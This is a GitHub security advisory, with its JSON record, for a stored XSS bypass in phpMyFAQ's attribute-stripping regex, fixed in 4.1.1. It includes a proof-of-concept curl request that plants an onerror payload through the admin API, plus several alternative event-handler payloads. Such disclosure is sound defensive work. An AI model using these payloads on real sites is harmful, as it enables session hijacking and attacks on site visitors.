GHSA-CV2G-8CJ8-VGC7

Vulnerability from github – Published: 2026-04-01 22:31 – Updated: 2026-04-06 17:18
VLAI
Summary
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
Details

Summary

The sanitization pipeline for FAQ content is: 1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes <, >, ", ', & to HTML entities 2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters 3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values:

preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match: - Attributes with single quotes: onerror='alert(1)' - Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149:

$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
    (string) $question,
    ENT_QUOTES | ENT_HTML5,
    encoding: 'UTF-8',
)))

Template rendering: faq.twig line 36:

<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

  1. Attacker submits: <img src=x onerror=alert(1)>
  2. After FILTER_SANITIZE_SPECIAL_CHARS: &lt;img src=x onerror=alert(1)&gt;
  3. After html_entity_decode(): <img src=x onerror=alert(1)>
  4. preg_match_all('/[a-z]+=".+"/iU', ...) runs:
  5. The regex requires ="..." (double quotes)
  6. onerror=alert(1) has NO quotes → NOT matched
  7. src=x has NO quotes → NOT matched
  8. No attributes are found for removal
  9. Output: <img src=x onerror=alert(1)> (XSS payload intact)
  10. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">: - The regex matches both src="x" and onerror="alert(1)" - src is in $keep → preserved - onerror is NOT in $keep → removed via str_replace() - Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin):

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=admin_session' \
  -d '{
    "data": {
      "pmf-csrf-token": "valid_csrf_token",
      "question": "<img src=x onerror=alert(document.cookie)>",
      "answer": "Test answer",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "test",
      "author": "test",
      "email": "test@test.com"
    }
  }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:

https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads:

<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>

Impact

  • Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
  • Session hijacking: Steal session cookies of all users viewing the FAQ.
  • Phishing: Display fake login forms to steal credentials.
  • Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
  • Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34729"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:31:44Z",
    "nvd_published_at": "2026-04-02T15:16:42Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe sanitization pipeline for FAQ content is:\n1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` \u2014 encodes `\u003c`, `\u003e`, `\"`, `\u0027`, `\u0026` to HTML entities\n2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` \u2014 decodes entities back to characters\n3. `Filter::removeAttributes($input)` \u2014 removes dangerous HTML attributes\n\nThe `removeAttributes()` regex at line 174 only matches attributes with double-quoted values:\n```php\npreg_match_all(pattern: \u0027/[a-z]+=\".+\"/iU\u0027, subject: $html, matches: $attributes);\n```\n\nThis regex does NOT match:\n- Attributes with single quotes: `onerror=\u0027alert(1)\u0027`\n- Attributes without quotes: `onerror=alert(1)`\n\nAn attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174\n\n**Sanitization flow for FAQ question field:**\n\n`FaqController::create()` lines 110, 145-149:\n```php\n$question = Filter::filterVar($data-\u003equestion, FILTER_SANITIZE_SPECIAL_CHARS);\n// ...\n-\u003esetQuestion(Filter::removeAttributes(html_entity_decode(\n    (string) $question,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: \u0027UTF-8\u0027,\n)))\n```\n\n**Template rendering:** `faq.twig` line 36:\n```twig\n\u003ch2 class=\"mb-4 border-bottom\"\u003e{{ question | raw }}\u003c/h2\u003e\n```\n\n**How the bypass works:**\n\n1. Attacker submits: `\u003cimg src=x onerror=alert(1)\u003e`\n2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `\u0026lt;img src=x onerror=alert(1)\u0026gt;`\n3. After `html_entity_decode()`: `\u003cimg src=x onerror=alert(1)\u003e`\n4. `preg_match_all(\u0027/[a-z]+=\".+\"/iU\u0027, ...)` runs:\n   - The regex requires `=\"...\"` (double quotes)\n   - `onerror=alert(1)` has NO quotes \u2192 NOT matched\n   - `src=x` has NO quotes \u2192 NOT matched\n   - No attributes are found for removal\n5. Output: `\u003cimg src=x onerror=alert(1)\u003e` (XSS payload intact)\n6. Template renders with `|raw`: JavaScript executes in browser\n\n**Why double-quoted attributes are (partially) protected:**\n\nFor `\u003cimg src=\"x\" onerror=\"alert(1)\"\u003e`:\n- The regex matches both `src=\"x\"` and `onerror=\"alert(1)\"`\n- `src` is in `$keep` \u2192 preserved\n- `onerror` is NOT in `$keep` \u2192 removed via `str_replace()`\n- Output: `\u003cimg src=\"x\"\u003e` (safe)\n\nBut this protection breaks with single quotes or no quotes.\n\n### PoC\n\n**Step 1: Create FAQ with XSS payload (requires authenticated admin):**\n```bash\ncurl -X POST \u0027https://target.example.com/admin/api/faq/create\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Cookie: PHPSESSID=admin_session\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"pmf-csrf-token\": \"valid_csrf_token\",\n      \"question\": \"\u003cimg src=x onerror=alert(document.cookie)\u003e\",\n      \"answer\": \"Test answer\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"test\",\n      \"author\": \"test\",\n      \"email\": \"test@test.com\"\n    }\n  }\u0027\n```\n\n**Step 2: XSS triggers on public FAQ page**\n\nAny user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:\n```\nhttps://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html\n```\n\nThe FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`).\n\n**Alternative payloads:**\n```html\n\u003cimg/src=x onerror=alert(1)\u003e\n\u003csvg onload=alert(1)\u003e\n\u003cdetails open ontoggle=alert(1)\u003e\n```\n\n### Impact\n\n- **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins.\n- **Session hijacking:** Steal session cookies of all users viewing the FAQ.\n- **Phishing:** Display fake login forms to steal credentials.\n- **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload.\n- **Malware distribution:** Redirect users to malicious sites.\n\n**Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.",
  "id": "GHSA-cv2g-8cj8-vgc7",
  "modified": "2026-04-06T17:18:46Z",
  "published": "2026-04-01T22:31:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-cv2g-8cj8-vgc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34729"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…